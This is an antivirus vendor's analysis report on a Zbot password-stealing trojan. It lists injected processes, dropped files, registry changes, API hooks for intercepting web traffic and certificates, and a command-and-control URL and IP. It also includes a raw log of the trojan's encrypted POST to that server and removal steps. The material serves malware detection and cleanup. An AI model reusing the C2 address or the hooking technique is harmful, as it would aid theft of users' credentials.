TrojanPSW.Win32.Zbot_1ee34c2406 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

owny.exe:1536
owny.exe:1124
%original file name%.exe:1804
%original file name%.exe:1296

The Trojan-PSW injects its code into the following process(es):

Explorer.EXE:1284

File activity

The process %original file name%.exe:1296 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Yfuw\owny.exe (7386 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmpc33d9458.bat (177 bytes)

Registry activity

The process owny.exe:1536 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CB 1A BD DD E6 24 05 53 53 46 4C F2 52 82 E2 BB"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process owny.exe:1124 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "16 2B 1B 1D DB 65 EA ED B9 48 BC BE DF 49 26 E8"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process %original file name%.exe:1804 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "23 A1 60 FE D6 2B 0A 2A 57 9A 30 3E 95 86 7D C5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process %original file name%.exe:1296 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "43 69 CE 76 F3 F9 1F D7 CD 78 89 23 DE 7D 0C 65"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5	File path
a31330a08021c12a20cd6551854ad2e0	c:\Documents and Settings\"%CurrentUserName%"\Application Data\Yfuw\owny.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan-PSW installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
owny.exe:1536
owny.exe:1124
%original file name%.exe:1804
%original file name%.exe:1296
Delete the original Trojan-PSW file.
Delete or disinfect the following files created/modified by the Trojan-PSW:
%Documents and Settings%\%current user%\Application Data\Yfuw\owny.exe (7386 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmpc33d9458.bat (177 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 3, 3, 8, 1
File Description:
Comments:
Language: Language Neutral

Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: 3, 3, 8, 1File Description: Comments: Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	525852	526336	4.63347	61ffce4768976fa0dd2a8f6a97b1417a
.rdata	532480	57280	57344	3.32693	0354bc5f2376b5e9a4a3ba38b682dff1
.data	589824	108376	26624	1.49032	8033f5a38941b4685bc2299e78f31221
.rsrc	700416	198624	198656	4.78043	374b7109a16ac7f59e108ddacbe16766

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://www.google.com/webhp	74.125.226.243
hxxp://www.google.ca/webhp?gfe_rd=cr&ei=LgFmU9buJonO8gfP54CgBA	74.125.226.248
hxxp://204.188.238.143/follow/metro/admin/1/secure.php

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /webhp?gfe_rd=cr&ei=LgFmU9buJonO8gfP54CgBA HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Cache-Control: no-cache

Host: VVV.google.ca

HTTP/1.1 200 OK

Date: Sun, 04 May 2014 08:58:22 GMT

Expires: -1

Cache-Control: private, max-age=0

Content-Type: text/html; charset=UTF-8

Set-Cookie: PREF=ID=db6012491f6db4a9:FF=0:TM=1399193902:LM=1399193902:S=_2sYRl7icS3lY1RQ; expires=Tue, 03-May-2016 08:58:22 GMT; path=/; domain=.google.ca

Set-Cookie: NID=67=uaB9EUg4GBuRMwJBZdi1Q06zejHSJ2P3y_MEK8xZah8dpl0i9n_vMq58y5TjctpUBe4gZP0Wk_ZD6XermJdvnNtEFBoHPYw3WBzQnBLziFs0jc51xqeXqLXgUIQCLc2j; expires=Mon, 03-Nov-2014 08:58:22 GMT; path=/; domain=.google.ca; HttpOnly

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Server: gws

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic

Connection: close

<!doctype html><html itemscope="" itemtype="hXXp://schema.org/WebPage" lang="en-CA"><head><meta content="text/html; charset=UTF-8" http-equiv="content-type"><meta content="/images/google_favicon_128.png" itemprop="image"><title>Google</title><script>(function(){.window.google={kEI:"LgFmU_b-K6ngsASE8oCYDw",getEI:function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute("eid")));)a=a.parentNode;return b||google.kEI},https:function(){return"https:"==window.location.protocol},kEXPI:"25657,4000116,4007661,4007830,4008142,4009033,4009641,4010806,4010858,4010899,4011228,4011258,4011679,4012373,4012504,4012508,4012860,4013374,4013414,4013591,4013723,4013758,4013787,4013823,4013941,4013967,4013979,4014016,4014093,4014431,4014515,4014636,4014671,4014789,4014810,4014813,4014991,4015119,4015155,4015234,4015260,4015519,4015550,4015587,4015635,4015638,4015639,4015772,4016005,4016090,4016096,4016127,4016309,4016363,4016367,4016373,4016391,4016452,4016466,4016487,4016638,4016703,4016730,4016786,4016800,4016815,4016824,4016855,4016933,4016978,4017042,4017055,4017206,4017280,4017284,4017294,4017336,4017556,4017590,4017639,4017643,4017706,4017710,8300015,8300017,8500165,8500222,8500240,8500252,8500264,8500306,8500314,8500323,8500332,8500364,10200002,10200012,10200029,10200038,10200040,10200048,10200053,10200055,10200066,10200083,10200120,10200134,10200136,10200155,10200157,10200159,10200164,10200176,10200211,10200215,10200221,10200224,10200226,10200228,10200231,10200236,10200242

<<

<<< skipped >>>

GET /webhp HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.google.com

Cache-Control: no-cache

HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.ca/webhp?gfe_rd=cr&ei=LgFmU9buJonO8gfP54CgBA

Content-Length: 263

Date: Sun, 04 May 2014 08:58:22 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic

Connection: close

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://VVV.google.ca/webhp?gfe_rd=cr&ei=LgFmU9buJonO8gfP54CgBA">here</A>...</BODY></HTML>....

POST /follow/metro/admin/1/secure.php HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: salesadvert.com

Content-Length: 262

Connection: Keep-Alive

Cache-Control: no-cache

.......D#Yh............p.}C./O..p...h.q...D.....b..>TQ.._.....l.7fJ.@ q..VE..........wx...\......*..(_8........r.9..Y>...3,w3.....y...K.r.........O.;W1z:..aC.....Z.f5.j...e7.?.O..z...Sbs1...Y....l..4-M...r..Xt....]x6.....I.V`o='.YC...... ...g.D.~....A..\U..h.EU

HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Sun, 04 May 2014 08:58:49 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.17

40...xw..g|..0(. Z.l.x..`.0.......r..U.............To.GU...zW.Z...P...0......

Map

Strings from Dumps

Explorer.EXE_1284_rwx_00A70000_00027000:

.text

`.data

.reloc

PR_OpenTCPSocket

http://www.google.com/webhp

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

<;.8("9`%,/

,127!' ./9

5/ -?9/#$

./.-#**:

6 !26!1'1

7"52),,>

, >(3=2;

<7!="?):

&;1"&1!7!1

;1 "?&! ?

c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_

7.>.3; `

1:,0/2$7

?$6 39 ~

HTTP/1.1

http://

https://

HTTP/1.

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

SSShlD

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

GetKeyboardState

MapVirtualKeyW

SetKeyboardState

MsgWaitForMultipleObjects

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersA

InternetCrackUrlA

HttpOpenRequestA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

G'%d#a

>">->3>?>

5S5C5N5Z5

nspr4.dll

cGlobal\XXX

SysShadow

e.dat

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

%Documents and Settings%\%current user%\Application Data\Ahbez\wyehe.uwr

%Documents and Settings%\%current user%\Application Data\Ahbez

wyehe.uwr

Global\{09A9BAE5-9F8D-3BBC-1572-5B360B7E8651}

%Documents and Settings%\%current user%\Application Data

{9FD208C0-2DA8-ADC7-1572-5B360B7E8651}

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps